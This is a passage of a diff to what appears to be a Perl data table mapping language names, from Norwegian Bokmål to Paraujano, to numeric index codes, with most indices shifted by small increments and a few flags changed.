       ],
    q(norwegian bokmal) => [
-      q(0313),
+      q(0314),
       q(1),
       ],
    q(norwegian nynorsk) => [
-      q(0312),
+      q(0313),
       q(0),
       ],
    q(norwegian sign language) => [
-      q(5066),
+      q(5070),
       q(0),
       ],
    q(not applicable) => [
-      q(0485),
+      q(0486),
       q(1),
       ],
    q(notre) => [
-      q(1300),
+      q(1301),
       q(0),
       ],
    q(notsi) => [
-      q(4758),
+      q(4759),
       q(0),
       ],
    q(nottoway) => [
-      q(5091),
+      q(5095),
       q(0),
       ],
    q(nottoway-meherrin) => [
-      q(5132),
+      q(5136),
       q(0),
       ],
    q(novial) => [
-      q(5019),
+      q(5021),
       q(0),
       ],
    q(noy) => [
-      q(5021),
+      q(5023),
       q(0),
       ],
    q(nsenga) => [
-      q(5060),
+      q(5064),
       q(0),
       ],
    q(nshi) => [
-      q(5058),
+      q(5062),
       q(0),
       ],
    q(nsongo) => [
-      q(5077),
+      q(5081),
       q(0),
       ],
    q(ntcham) => [
-      q(1495),
+      q(1496),
       q(0),
       ],
    q(ntomba) => [
-      q(5087),
+      q(5091),
       q(0),
       ],
    q(nu) => [
-      q(4832),
+      q(4834),
       q(1),
       ],
    q(nubaca) => [
-      q(1026),
+      q(1027),
       q(0),
       ],
    q(nubi) => [
-      q(3219),
+      q(3221),
       q(0),
       ],
    q(nubian languages) => [
-      q(0319),
+      q(0320),
       q(0),
       ],
    q(nubri) => [
@@ -45893,59 +45955,59 @@
       q(0),
       ],
    q(nuer) => [
-      q(5112),
+      q(5116),
       q(0),
       ],
    q(nugunu (australia)) => [
-      q(4999),
+      q(5001),
       q(0),
       ],
    q(nugunu (cameroon)) => [
-      q(7573),
+      q(7576),
       q(0),
       ],
    q(nuk) => [
-      q(5004),
+      q(5006),
       q(0),
       ],
    q(nukak maku) => [
-      q(4135),
+      q(4136),
       q(0),
       ],
    q(nukna) => [
-      q(3444),
+      q(3445),
       q(0),
       ],
    q(nukuini) => [
-      q(5096),
+      q(5100),
       q(0),
       ],
    q(nukumanu) => [
-      q(5110),
+      q(5114),
       q(0),
       ],
    q(nukunul) => [
-      q(7425),
+      q(7428),
       q(0),
       ],
    q(nukuoro) => [
-      q(4929),
+      q(4931),
       q(0),
       ],
    q(nukuria) => [
-      q(5111),
+      q(5115),
       q(0),
       ],
    q(numana-nunku-gbantu-numbu) => [
-      q(4746),
+      q(4747),
       q(0),
       ],
    q(numanggang) => [
-      q(5014),
+      q(5016),
       q(0),
       ],
    q(numbami) => [
-      q(6031),
+      q(6032),
       q(0),
       ],
    q(nume) => [
@@ -45953,207 +46015,207 @@
       q(0),
       ],
    q(numee) => [
-      q(3241),
+      q(3243),
       q(0),
       ],
    q(numidian) => [
-      q(5140),
+      q(5144),
       q(0),
       ],
    q(nung (viet nam)) => [
-      q(5113),
+      q(5117),
       q(0),
       ],
    q(nungali) => [
-      q(5100),
+      q(5104),
       q(0),
       ],
    q(nunggubuyu) => [
-      q(5118),
+      q(5122),
       q(0),
       ],
    q(nungu) => [
-      q(5780),
+      q(5781),
       q(0),
       ],
    q(nuosu) => [
-      q(0189),
+      q(0190),
       q(1),
       ],
    q(nupbikha) => [
-      q(5024),
+      q(5026),
       q(0),
       ],
    q(nupe-nupe-tako) => [
-      q(5109),
+      q(5113),
       q(0),
       ],
    q(nupode huitoto) => [
-      q(2867),
+      q(2869),
       q(0),
       ],
    q(nusa laut) => [
-      q(5105),
+      q(5109),
       q(0),
       ],
    q(nusu) => [
-      q(5099),
+      q(5103),
       q(0),
       ],
    q(nuu-chah-nulth) => [
-      q(5104),
+      q(5108),
       q(0),
       ],
    q(nuuchahnulth) => [
-      q(5104),
+      q(5108),
       q(1),
       ],
    q(nyabwa) => [
-      q(5124),
+      q(5128),
       q(0),
       ],
    q(nyaheun) => [
-      q(4817),
+      q(4819),
       q(0),
       ],
    q(nyahkur) => [
-      q(1666),
+      q(1667),
       q(0),
       ],
    q(nyakyusa-ngonde) => [
-      q(5167),
+      q(5171),
       q(0),
       ],
    q(nyalayu) => [
-      q(7669),
+      q(7672),
       q(0),
       ],
    q(nyali) => [
-      q(4942),
+      q(4944),
       q(0),
       ],
    q(nyam) => [
-      q(4961),
+      q(4963),
       q(0),
       ],
    q(nyamal) => [
-      q(4951),
+      q(4953),
       q(0),
       ],
    q(nyambo) => [
-      q(5020),
+      q(5022),
       q(0),
       ],
    q(nyamusa-molo) => [
-      q(5128),
+      q(5132),
       q(0),
       ],
    q(nyamwanga) => [
-      q(4627),
+      q(4628),
       q(0),
       ],
    q(nyamwezi) => [
-      q(0322),
+      q(0323),
       q(0),
       ],
    q(nyaneka) => [
-      q(5156),
+      q(5160),
       q(0),
       ],
    q(nyang'i) => [
-      q(5158),
+      q(5162),
       q(0),
       ],
    q(nyanga) => [
-      q(5155),
+      q(5159),
       q(0),
       ],
    q(nyanga-li) => [
-      q(5148),
+      q(5152),
       q(0),
       ],
    q(nyangatom) => [
-      q(4988),
+      q(4990),
       q(0),
       ],
    q(nyangbo) => [
-      q(5147),
+      q(5151),
       q(0),
       ],
    q(nyangga) => [
-      q(5001),
+      q(5003),
       q(0),
       ],
    q(nyangumarta) => [
-      q(4979),
+      q(4981),
       q(0),
       ],
    q(nyanja) => [
-      q(0321),
+      q(0322),
       q(2),
       ],
    q(nyankole) => [
-      q(0323),
+      q(0324),
       q(0),
       ],
    q(nyankpa) => [
-      q(7610),
+      q(7613),
       q(0),
       ],
    q(nyarafolo senoufo) => [
-      q(5972),
+      q(5973),
       q(0),
       ],
    q(nyaturu) => [
-      q(5779),
+      q(5780),
       q(0),
       ],
    q(nyaw) => [
-      q(5165),
+      q(5169),
       q(0),
       ],
    q(nyawaygi) => [
-      q(5162),
+      q(5166),
       q(0),
       ],
    q(nyelayu) => [
-      q(7669),
+      q(7672),
       q(1),
       ],
    q(nyemba) => [
-      q(4731),
+      q(4732),
       q(0),
       ],
    q(nyengo) => [
-      q(5150),
+      q(5154),
       q(0),
       ],
    q(nyenkha) => [
-      q(4805),
+      q(4807),
       q(0),
       ],
    q(nyeu) => [
-      q(5157),
+      q(5161),
       q(0),
       ],
    q(nyigina) => [
-      q(5153),
+      q(5157),
       q(0),
       ],
    q(nyiha (malawi)) => [
-      q(5160),
+      q(5164),
       q(0),
       ],
    q(nyiha (tanzania)) => [
-      q(4879),
+      q(4881),
       q(0),
       ],
    q(nyika (malawi and zambia)) => [
-      q(4933),
+      q(4935),
       q(0),
       ],
    q(nyika (tanzania)) => [
-      q(4931),
+      q(4933),
       q(0),
       ],
    q(nyindrou) => [
@@ -46161,71 +46223,71 @@
       q(0),
       ],
    q(nyindu) => [
-      q(5152),
+      q(5156),
       q(0),
       ],
    q(nyishi) => [
-      q(4912),
+      q(4914),
       q(0),
       ],
    q(nyiyaparli) => [
-      q(7426),
+      q(7429),
       q(0),
       ],
    q(nynorsk, norwegian) => [
-      q(0312),
+      q(0313),
       q(1),
       ],
    q(nyokon) => [
-      q(5122),
+      q(5126),
       q(0),
       ],
    q(nyole) => [
-      q(5103),
+      q(5107),
       q(0),
       ],
    q(nyong) => [
-      q(4583),
+      q(4584),
       q(0),
       ],
    q(nyore) => [
-      q(5149),
+      q(5153),
       q(0),
       ],
    q(nyoro) => [
-      q(0324),
+      q(0325),
       q(0),
       ],
    q(nyulnyul) => [
-      q(5164),
+      q(5168),
       q(0),
       ],
    q(nyunga) => [
-      q(5161),
+      q(5165),
       q(0),
       ],
    q(nyungwe) => [
-      q(5163),
+      q(5167),
       q(0),
       ],
    q(nzakambay) => [
-      q(5174),
+      q(5178),
       q(0),
       ],
    q(nzakara) => [
-      q(5170),
+      q(5174),
       q(0),
       ],
    q(nzanyi) => [
-      q(4896),
+      q(4898),
       q(0),
       ],
    q(nzima) => [
-      q(0325),
+      q(0326),
       q(0),
       ],
    q(o'chi'chi') => [
-      q(7428),
+      q(7431),
       q(0),
       ],
    q(o'du) => [
@@ -46233,83 +46295,83 @@
       q(0),
       ],
    q(obanliku) => [
-      q(1635),
+      q(1636),
       q(0),
       ],
    q(obispeno) => [
-      q(5180),
+      q(5184),
       q(0),
       ],
    q(oblo) => [
-      q(5182),
+      q(5186),
       q(0),
       ],
    q(obo manobo) => [
-      q(5184),
+      q(5188),
       q(0),
       ],
    q(obokuitai) => [
-      q(0651),
+      q(0652),
       q(0),
       ],
    q(obolo) => [
-      q(0802),
+      q(0803),
       q(0),
       ],
    q(obulom) => [
-      q(5187),
+      q(5191),
       q(0),
       ],
    q(ocaina) => [
-      q(5188),
+      q(5192),
       q(0),
       ],
    q(occidental) => [
-      q(0192),
+      q(0193),
       q(1),
       ],
    q(occitan (post 1500)) => [
-      q(0326),
+      q(0327),
       q(0),
       ],
    q(ocotepec mixtec) => [
-      q(4293),
+      q(4294),
       q(0),
       ],
    q(ocotlan zapotec) => [
-      q(7789),
+      q(7792),
       q(0),
       ],
    q(od) => [
-      q(5193),
+      q(5197),
       q(0),
       ],
    q(odia (individual language)) => [
-      q(5299),
+      q(5303),
       q(0),
       ],
    q(odia (macrolanguage)) => [
-      q(0328),
+      q(0329),
       q(2),
       ],
    q(odiai) => [
-      q(1190),
+      q(1191),
       q(0),
       ],
    q(odoodee) => [
-      q(3401),
+      q(3402),
       q(0),
       ],
    q(odual) => [
-      q(5195),
+      q(5199),
       q(0),
       ],
    q(odut) => [
-      q(5192),
+      q(5196),
       q(0),
       ],
    q(ofaye) => [
-      q(5284),
+      q(5288),
       q(0),
       ],
    q(official aramaic (700-300 bce)) => [
@@ -46317,107 +46379,107 @@
       q(0),
       ],
    q(ofo) => [
-      q(5196),
+      q(5200),
       q(0),
       ],
    q(ogbah) => [
-      q(5200),
+      q(5204),
       q(0),
       ],
    q(ogbia) => [
-      q(5199),
+      q(5203),
       q(0),
       ],
    q(ogbogolo) => [
-      q(5202),
+      q(5206),
       q(0),
       ],
    q(ogbronuagum) => [
-      q(5204),
+      q(5208),
       q(0),
       ],
    q(ogea) => [
-      q(2279),
+      q(2280),
       q(0),
       ],
    q(oirat) => [
-      q(0470),
+      q(0471),
       q(1),
       ],
    q(oirata) => [
-      q(5207),
+      q(5211),
       q(0),
       ],
    q(ojibwa) => [
-      q(0327),
+      q(0328),
       q(0),
       ],
    q(ojitlan chinantec) => [
-      q(1719),
+      q(1720),
       q(0),
       ],
    q(okanagan) => [
-      q(5216),
+      q(5220),
       q(0),
       ],
    q(oki-no-erabu) => [
-      q(5227),
+      q(5231),
       q(0),
       ],
    q(okiek) => [
-      q(5222),
+      q(5226),
       q(0),
       ],
    q(oko-eni-osayen) => [
-      q(5230),
+      q(5234),
       q(0),
       ],
    q(oko-juwoi) => [
-      q(5223),
+      q(5227),
       q(0),
       ],
    q(okobo) => [
-      q(5217),
+      q(5221),
       q(0),
       ],
    q(okodia) => [
-      q(5218),
+      q(5222),
       q(0),
       ],
    q(okolod) => [
-      q(3564),
+      q(3565),
       q(0),
       ],
    q(okpamheri) => [
-      q(5279),
+      q(5283),
       q(0),
       ],
    q(okpe (northwestern edo)) => [
-      q(5233),
+      q(5237),
       q(0),
       ],
    q(okpe (southwestern edo)) => [
-      q(5219),
+      q(5223),
       q(0),
       ],
    q(oksapmin) => [
-      q(5281),
+      q(5285),
       q(0),
       ],
    q(oku) => [
-      q(5231),
+      q(5235),
       q(0),
       ],
    q(old aramaic (up to 700 bce)) => [
-      q(5178),
+      q(5182),
       q(0),
       ],
    q(old avar) => [
-      q(5179),
+      q(5183),
       q(0),
       ],
    q(old breton) => [
-      q(5186),
+      q(5190),
       q(0),
       ],
    q(old bulgarian) => [
@@ -46425,11 +46487,11 @@
       q(3),
       ],
    q(old burmese) => [
-      q(5185),
+      q(5189),
       q(0),
       ],
    q(old chinese) => [
-      q(5189),
+      q(5193),
       q(0),
       ],
    q(old church slavonic) => [
@@ -46437,11 +46499,11 @@
       q(4),
       ],
    q(old cornish) => [
-      q(5190),
+      q(5194),
       q(0),
       ],
    q(old dutch) => [
-      q(5194),
+      q(5198),
       q(0),
       ],
    q(old english (ca. 450-1100)) => [
@@ -46449,95 +46511,95 @@
       q(1),
       ],
    q(old french (842-ca. 1400)) => [
-      q(0139),
+      q(0140),
       q(1),
       ],
    q(old frisian) => [
-      q(5197),
+      q(5201),
       q(0),
       ],
    q(old georgian) => [
-      q(5201),
+      q(5205),
       q(0),
       ],
    q(old high german (ca. 750-1050)) => [
-      q(0158),
+      q(0159),
       q(1),
       ],
    q(old hittite) => [
-      q(5205),
+      q(5209),
       q(0),
       ],
    q(old hungarian) => [
-      q(5206),
+      q(5210),
       q(0),
       ],
    q(old irish (to 900)) => [
-      q(0377),
+      q(0378),
       q(1),
       ],
    q(old japanese) => [
-      q(5212),
+      q(5216),
       q(0),
       ],
    q(old kentish sign language) => [
-      q(5225),
+      q(5229),
       q(0),
       ],
    q(old korean (3rd-9th cent.)) => [
-      q(5228),
+      q(5232),
       q(0),
       ],
    q(old lithuanian) => [
-      q(5241),
+      q(5245),
       q(0),
       ],
    q(old manipuri) => [
-      q(5252),
+      q(5256),
       q(0),
       ],
    q(old marathi) => [
-      q(5253),
+      q(5257),
       q(0),
       ],
    q(old mon) => [
-      q(5257),
+      q(5261),
       q(0),
       ],
    q(old newari) => [
-      q(0320),
+      q(0321),
       q(1),
       ],
    q(old norse) => [
-      q(0315),
+      q(0316),
       q(1),
       ],
    q(old nubian) => [
-      q(5272),
+      q(5276),
       q(0),
       ],
    q(old occitan (to 1500)) => [
-      q(0350),
+      q(0351),
       q(2),
       ],
    q(old ossetic) => [
-      q(5278),
+      q(5282),
       q(0),
       ],
    q(old persian (ca. 600-400 b.c.)) => [
-      q(0341),
+      q(0342),
       q(1),
       ],
    q(old provencal (to 1500)) => [
-      q(0350),
+      q(0351),
       q(1),
       ],
    q(old russian) => [
-      q(5296),
+      q(5300),
       q(0),
       ],
    q(old saxon) => [
-      q(5307),
+      q(5311),
       q(0),
       ],
    q(old slavonic) => [
@@ -46545,51 +46607,51 @@
       q(1),
       ],
    q(old spanish) => [
-      q(5304),
+      q(5308),
       q(0),
       ],
    q(old tamil) => [
-      q(5323),
+      q(5327),
       q(0),
       ],
    q(old tibetan) => [
-      q(5308),
+      q(5312),
       q(0),
       ],
    q(old turkish) => [
-      q(5312),
+      q(5316),
       q(0),
       ],
    q(old uighur) => [
-      q(5328),
+      q(5332),
       q(0),
       ],
    q(old welsh) => [
-      q(5332),
+      q(5336),
       q(0),
       ],
    q(olekha) => [
-      q(5236),
+      q(5240),
       q(0),
       ],
    q(olkol) => [
-      q(5237),
+      q(5241),
       q(0),
       ],
    q(olo) => [
-      q(5261),
+      q(5265),
       q(0),
       ],
    q(oloma) => [
-      q(5238),
+      q(5242),
       q(0),
       ],
    q(olrat) => [
-      q(5240),
+      q(5244),
       q(0),
       ],
    q(olu'bo) => [
-      q(4074),
+      q(4075),
       q(0),
       ],
    q(olukhayo) => [
@@ -46597,11 +46659,11 @@
       q(1),
       ],
    q(olulumo-ikom) => [
-      q(2937),
+      q(2940),
       q(0),
       ],
    q(oluluyia) => [
-      q(4083),
+      q(4084),
       q(1),
       ],
    q(olumarachi) => [
@@ -46613,7 +46675,7 @@
       q(1),
       ],
    q(olunyole) => [
-      q(5149),
+      q(5153),
       q(1),
       ],
    q(olusamia) => [
@@ -46625,291 +46687,291 @@
       q(1),
       ],
    q(oluta popoluca) => [
-      q(5490),
+      q(5494),
       q(0),
       ],
    q(olutsotso) => [
-      q(4065),
+      q(4066),
       q(1),
       ],
    q(oluwanga) => [
-      q(4091),
+      q(4092),
       q(1),
       ],
    q(omagua) => [
-      q(5246),
+      q(5250),
       q(0),
       ],
    q(omaha-ponca) => [
-      q(5243),
+      q(5247),
       q(0),
       ],
    q(omani arabic) => [
-      q(0601),
+      q(0602),
       q(0),
       ],
    q(ombamba) => [
-      q(4130),
+      q(4131),
       q(0),
       ],
    q(ombo) => [
-      q(5249),
+      q(5253),
       q(0),
       ],
    q(ometepec nahuatl) => [
-      q(4867),
+      q(4869),
       q(0),
       ],
    q(omi) => [
-      q(5247),
+      q(5251),
       q(0),
       ],
    q(omie) => [
-      q(0826),
+      q(0827),
       q(0),
       ],
    q(omok) => [
-      q(5248),
+      q(5252),
       q(0),
       ],
    q(omotic languages) => [
-      q(0518),
+      q(0519),
       q(0),
       ],
    q(omotik) => [
-      q(5254),
+      q(5258),
       q(0),
       ],
    q(omurano) => [
-      q(5255),
+      q(5259),
       q(0),
       ],
    q(ona) => [
-      q(5258),
+      q(5262),
       q(0),
       ],
    q(oneida) => [
-      q(5260),
+      q(5264),
       q(0),
       ],
    q(ong) => [
-      q(5275),
+      q(5279),
       q(0),
       ],
    q(onge) => [
-      q(5276),
+      q(5280),
       q(0),
       ],
    q(onin) => [
-      q(5262),
+      q(5266),
       q(0),
       ],
    q(onin based pidgin) => [
-      q(5273),
+      q(5277),
       q(0),
       ],
    q(oniyan) => [
-      q(1448),
+      q(1449),
       q(1),
       ],
    q(onjob) => [
-      q(5263),
+      q(5267),
       q(0),
       ],
    q(ono) => [
-      q(5269),
+      q(5273),
       q(0),
       ],
    q(onobasulu) => [
-      q(5265),
+      q(5269),
       q(0),
       ],
    q(onondaga) => [
-      q(5266),
+      q(5270),
       q(0),
       ],
    q(ontenu) => [
-      q(5270),
+      q(5274),
       q(0),
       ],
    q(ontong java) => [
-      q(5214),
+      q(5218),
       q(0),
       ],
    q(oorlams) => [
-      q(5277),
+      q(5281),
       q(0),
       ],
    q(opao) => [
-      q(5282),
+      q(5286),
       q(0),
       ],
    q(opata) => [
-      q(5283),
+      q(5287),
       q(0),
       ],
    q(opuuo) => [
       q(3885),
-      q(0),
+      q(1),
       ],
    q(orang kanaq) => [
-      q(5290),
+      q(5294),
       q(0),
       ],
    q(orang seletar) => [
-      q(5293),
+      q(5297),
       q(0),
       ],
    q(oraon sadri) => [
-      q(5947),
+      q(5948),
       q(0),
       ],
    q(orejon) => [
-      q(5287),
+      q(5291),
       q(0),
       ],
    q(oring) => [
-      q(5288),
+      q(5292),
       q(0),
       ],
    q(oriya) => [
-      q(0328),
+      q(0329),
       q(0),
       ],
    q(oriya (individual language)) => [
-      q(5299),
+      q(5303),
       q(1),
       ],
    q(oriya (macrolanguage)) => [
-      q(0328),
+      q(0329),
       q(1),
       ],
    q(orizaba nahuatl) => [
-      q(4948),
+      q(4950),
       q(0),
       ],
    q(orma) => [
-      q(5286),
+      q(5290),
       q(0),
       ],
    q(ormu) => [
-      q(5300),
+      q(5304),
       q(0),
       ],
    q(ormuri) => [
-      q(5295),
+      q(5299),
       q(0),
       ],
    q(oro) => [
-      q(5298),
+      q(5302),
       q(0),
       ],
    q(oro win) => [
-      q(5297),
+      q(5301),
       q(0),
       ],
    q(oroch) => [
-      q(5177),
+      q(5181),
       q(0),
       ],
    q(oroha) => [
-      q(5285),
+      q(5289),
       q(0),
       ],
    q(orok) => [
-      q(5176),
+      q(5180),
       q(0),
       ],
    q(orokaiva) => [
-      q(5232),
+      q(5236),
       q(0),
       ],
    q(oroko) => [
-      q(1109),
+      q(1110),
       q(0),
       ],
    q(orokolo) => [
-      q(5291),
+      q(5295),
       q(0),
       ],
    q(oromo) => [
-      q(0329),
+      q(0330),
       q(0),
       ],
    q(oroqen) => [
-      q(5289),
+      q(5293),
       q(0),
       ],
    q(orowe) => [
-      q(1381),
+      q(1382),
       q(0),
       ],
    q(oruma) => [
-      q(5292),
+      q(5296),
       q(0),
       ],
    q(orya) => [
-      q(6930),
+      q(6931),
       q(0),
       ],
    q(osage) => [
-      q(0330),
+      q(0331),
       q(0),
       ],
    q(osatu) => [
-      q(5305),
+      q(5309),
       q(0),
       ],
    q(oscan) => [
-      q(5301),
+      q(5305),
       q(0),
       ],
    q(osing) => [
-      q(5302),
+      q(5306),
       q(0),
       ],
    q(ososo) => [
-      q(5303),
+      q(5307),
       q(0),
       ],
    q(ossetian) => [
-      q(0331),
+      q(0332),
       q(0),
       ],
    q(ossetic) => [
-      q(0331),
+      q(0332),
       q(1),
       ],
    q(ot danum) => [
-      q(5309),
+      q(5313),
       q(0),
       ],
    q(otank) => [
-      q(6938),
+      q(6939),
       q(0),
       ],
    q(oti) => [
-      q(5311),
+      q(5315),
       q(0),
       ],
    q(oto-manguean languages) => [
-      q(0517),
+      q(0518),
       q(0),
       ],
    q(otomian languages) => [
-      q(0333),
+      q(0334),
       q(0),
       ],
    q(otoro) => [
-      q(5317),
+      q(5321),
       q(0),
       ],
    q(ottawa) => [
-      q(5321),
+      q(5325),
       q(0),
       ],
    q(ottoman turkish (1500-1928)) => [
-      q(0332),
+      q(0333),
       q(1),
       ],
    q(otuho) => [
@@ -46917,139 +46979,139 @@
       q(0),
       ],
    q(otuke) => [
-      q(5320),
+      q(5324),
       q(0),
       ],
    q(ouma) => [
-      q(5329),
+      q(5333),
       q(0),
       ],
    q(oune) => [
-      q(5327),
+      q(5331),
       q(0),
       ],
    q(ovdalian) => [
-      q(5330),
-      q(0),
+      q(5334),
+      q(1),
       ],
    q(owa) => [
-      q(6256),
+      q(6255),
       q(0),
       ],
    q(owenia) => [
-      q(7221),
+      q(7223),
       q(0),
       ],
    q(owiniga) => [
-      q(5331),
+      q(5335),
       q(0),
       ],
    q(oy) => [
-      q(5333),
+      q(5337),
       q(0),
       ],
    q(oya'oya) => [
-      q(5336),
+      q(5340),
       q(0),
       ],
    q(oyda) => [
-      q(5334),
+      q(5338),
       q(0),
       ],
    q(ozolotepec zapotec) => [
-      q(7800),
+      q(7803),
       q(0),
       ],
    q(ozumacin chinantec) => [
-      q(1725),
+      q(1726),
       q(0),
       ],
    q(pa di) => [
-      q(5391),
+      q(5395),
       q(0),
       ],
    q(pa'a) => [
-      q(5575),
+      q(5579),
       q(0),
       ],
    q(pa'o) => [
-      q(1287),
+      q(1288),
       q(1),
       ],
    q(pa'o karen) => [
-      q(1287),
+      q(1288),
       q(0),
       ],
    q(pa-hng) => [
-      q(5428),
+      q(5432),
       q(0),
       ],
    q(paafang) => [
-      q(5415),
+      q(5419),
       q(0),
       ],
    q(paakantyi) => [
-      q(2133),
+      q(2134),
       q(0),
       ],
    q(paama) => [
-      q(5501),
+      q(5505),
       q(0),
       ],
    q(paasaal) => [
-      q(6028),
+      q(6029),
       q(0),
       ],
    q(pacahuara) => [
-      q(5387),
+      q(5391),
       q(0),
       ],
    q(pacaraos quechua) => [
-      q(5699),
+      q(5701),
       q(0),
       ],
    q(pacific gulf yupik) => [
-      q(2254),
+      q(2255),
       q(0),
       ],
    q(pacoh) => [
-      q(5339),
+      q(5343),
       q(0),
       ],
    q(padoe) => [
-      q(5393),
+      q(5397),
       q(0),
       ],
    q(paekche) => [
-      q(5469),
+      q(5473),
       q(0),
       ],
    q(paelignian) => [
-      q(5424),
+      q(5428),
       q(0),
       ],
    q(paez) => [
-      q(5356),
+      q(5360),
       q(0),
       ],
    q(pagi) => [
-      q(5421),
+      q(5425),
       q(0),
       ],
    q(pagibete) => [
-      q(5341),
+      q(5345),
       q(0),
       ],
    q(pagu) => [
-      q(5426),
+      q(5430),
       q(0),
       ],
    q(pahanan agta) => [
-      q(0838),
+      q(0839),
       q(0),
       ],
    q(pahari-potwari) => [
-      q(5437),
+      q(5441),
       q(0),
       ],
    q(pahi) => [
@@ -47057,159 +47119,159 @@
       q(0),
       ],
    q(pahlavani) => [
-      q(5440),
+      q(5444),
       q(0),
       ],
    q(pahlavi) => [
-      q(0336),
+      q(0337),
       q(0),
       ],
    q(pai tavytera) => [
-      q(5617),
+      q(5620),
       q(0),
       ],
    q(paici) => [
-      q(5584),
+      q(5587),
       q(0),
       ],
    q(paipai) => [
-      q(5564),
+      q(5568),
       q(0),
       ],
    q(paite chin) => [
-      q(5383),
+      q(5387),
       q(0),
       ],
    q(paiwan) => [
-      q(5655),
+      q(5657),
       q(0),
       ],
    q(pak-tong) => [
-      q(5470),
+      q(5474),
       q(0),
       ],
    q(pakaasnovos) => [
-      q(5351),
+      q(5355),
       q(0),
       ],
    q(pakanha) => [
-      q(5472),
+      q(5476),
       q(0),
       ],
    q(pakistan sign language) => [
-      q(5476),
+      q(5480),
       q(0),
       ],
    q(paku) => [
-      q(5478),
+      q(5482),
       q(0),
       ],
    q(paku karen) => [
-      q(3108),
+      q(3110),
       q(0),
       ],
    q(pal) => [
-      q(0580),
+      q(0581),
       q(0),
       ],
    q(palaic) => [
-      q(5492),
+      q(5496),
       q(0),
       ],
    q(palaka senoufo) => [
-      q(5493),
+      q(5497),
       q(0),
       ],
    q(palantla chinantec) => [
-      q(1826),
+      q(1827),
       q(0),
       ],
    q(palauan) => [
-      q(0340),
+      q(0341),
       q(0),
       ],
    q(paleni) => [
-      q(5531),
+      q(5535),
       q(0),
       ],
    q(palenquero) => [
-      q(5489),
+      q(5493),
       q(0),
       ],
    q(pali) => [
-      q(0345),
+      q(0346),
       q(0),
       ],
    q(palikur) => [
-      q(5496),
+      q(5500),
       q(0),
       ],
    q(paliyan) => [
-      q(5378),
+      q(5382),
       q(0),
       ],
    q(pallanganmiddang) => [
-      q(5503),
+      q(5507),
       q(0),
       ],
    q(palor) => [
-      q(2329),
+      q(2330),
       q(0),
       ],
    q(palpa) => [
-      q(5491),
+      q(5495),
       q(0),
       ],
    q(palu'e) => [
-      q(5483),
+      q(5487),
       q(0),
       ],
    q(paluan) => [
-      q(5500),
+      q(5504),
       q(0),
       ],
    q(palula) => [
-      q(5433),
+      q(5437),
       q(1),
       ],
    q(palya bareli) => [
-      q(1394),
+      q(1395),
       q(0),
       ],
    q(pam) => [
-      q(5512),
+      q(5516),
       q(0),
       ],
    q(pambia) => [
-      q(5502),
+      q(5506),
       q(0),
       ],
    q(pamlico) => [
-      q(5509),
+      q(5513),
       q(0),
       ],
    q(pamona) => [
-      q(5505),
+      q(5509),
       q(0),
       ],
    q(pamosu) => [
-      q(2753),
+      q(2755),
       q(0),
       ],
    q(pampanga) => [
-      q(0337),
+      q(0338),
       q(0),
       ],
    q(pamplona atta) => [
-      q(0926),
+      q(0927),
       q(0),
       ],
    q(pana (burkina faso)) => [
-      q(5536),
+      q(5540),
       q(0),
       ],
    q(pana (central african republic)) => [
-      q(5545),
+      q(5549),
       q(0),
       ],
    q(panamanian sign language) => [
@@ -47217,27 +47279,27 @@
       q(0),
       ],
    q(panamint) => [
-      q(5348),
+      q(5352),
       q(0),
       ],
    q(panao huanuco quechua) => [
-      q(5712),
+      q(5714),
       q(0),
       ],
    q(panara) => [
-      q(3572),
+      q(3573),
       q(0),
       ],
    q(panasuan) => [
-      q(5607),
+      q(5610),
       q(0),
       ],
    q(panawa) => [
-      q(5651),
+      q(5653),
       q(0),
       ],
    q(pancana) => [
-      q(5535),
+      q(5539),
       q(0),
       ],
    q(panchpargania) => [
@@ -47245,15 +47307,15 @@
       q(0),
       ],
    q(pande) => [
-      q(1261),
+      q(1262),
       q(0),
       ],
    q(pangasinan) => [
-      q(0335),
+      q(0336),
       q(0),
       ],
    q(pangseng) => [
-      q(5425),
+      q(5429),
       q(0),
       ],
    q(pangutaran sama) => [
@@ -47261,59 +47323,59 @@
       q(0),
       ],
    q(pangwa) => [
-      q(5367),
+      q(5371),
       q(0),
       ],
    q(pangwali) => [
-      q(5420),
+      q(5424),
       q(0),
       ],
    q(panim) => [
-      q(5537),
+      q(5541),
       q(0),
       ],
    q(paniya) => [
-      q(5379),
+      q(5383),
       q(0),
       ],
    q(panjabi) => [
-      q(0338),
+      q(0339),
       q(0),
       ],
    q(pankarare) => [
-      q(5353),
+      q(5357),
       q(0),
       ],
    q(pankararu) => [
-      q(5355),
+      q(5359),
       q(0),
       ],
    q(pankhu) => [
-      q(5471),
+      q(5475),
       q(0),
       ],
    q(pannei) => [
-      q(5524),
+      q(5528),
       q(0),
       ],
    q(pano) => [
-      q(4497),
+      q(4498),
       q(0),
       ],
    q(panoan katukina) => [
-      q(3494),
+      q(3495),
       q(0),
       ],
    q(panobo) => [
-      q(5534),
+      q(5538),
       q(0),
       ],
    q(panyi bai) => [
-      q(1138),
+      q(1139),
       q(0),
       ],
    q(panytyima) => [
-      q(5542),
+      q(5546),
       q(0),
       ],
    q(papantla totonac) => [
@@ -47321,119 +47383,119 @@
       q(0),
       ],
    q(papapana) => [
-      q(5568),
+      q(5572),
       q(0),
       ],
    q(papar) => [
-      q(2126),
+      q(2127),
       q(0),
       ],
    q(papasena) => [
-      q(5349),
+      q(5353),
       q(0),
       ],
    q(papel) => [
-      q(5365),
+      q(5369),
       q(0),
       ],
    q(papi) => [
-      q(5563),
+      q(5567),
       q(0),
       ],
    q(papiamento) => [
-      q(0339),
+      q(0340),
       q(0),
       ],
    q(papitalai) => [
-      q(5350),
+      q(5354),
       q(0),
       ],
    q(papora) => [
-      q(5574),
+      q(5578),
       q(0),
       ],
    q(papua new guinean sign language) => [
-      q(5427),
+      q(5431),
       q(0),
       ],
    q(papuan languages) => [
-      q(0334),
+      q(0335),
       q(0),
       ],
    q(papuan malay) => [
-      q(5520),
+      q(5524),
       q(0),
       ],
    q(papuma) => [
-      q(5567),
+      q(5571),
       q(0),
       ],
    q(para arara) => [
-      q(0551),
+      q(0552),
       q(0),
       ],
    q(para gaviao) => [
-      q(2670),
+      q(2672),
       q(0),
       ],
    q(para naga) => [
-      q(5667),
+      q(5669),
       q(0),
       ],
    q(parachi) => [
-      q(5578),
+      q(5581),
       q(0),
       ],
    q(paraguayan guarani) => [
-      q(2644),
+      q(2646),
       q(0),
       ],
    q(paraguayan sign language) => [
-      q(5663),
+      q(5665),
       q(0),
       ],
    q(parakana) => [
-      q(5345),
+      q(5349),
       q(0),
       ],
    q(paranan) => [
-      q(5581),
+      q(5584),
       q(0),
       ],
    q(paranawat) => [
-      q(5342),
+      q(5346),
       q(0),
       ],
    q(paraujano) => [
-      q(5360),
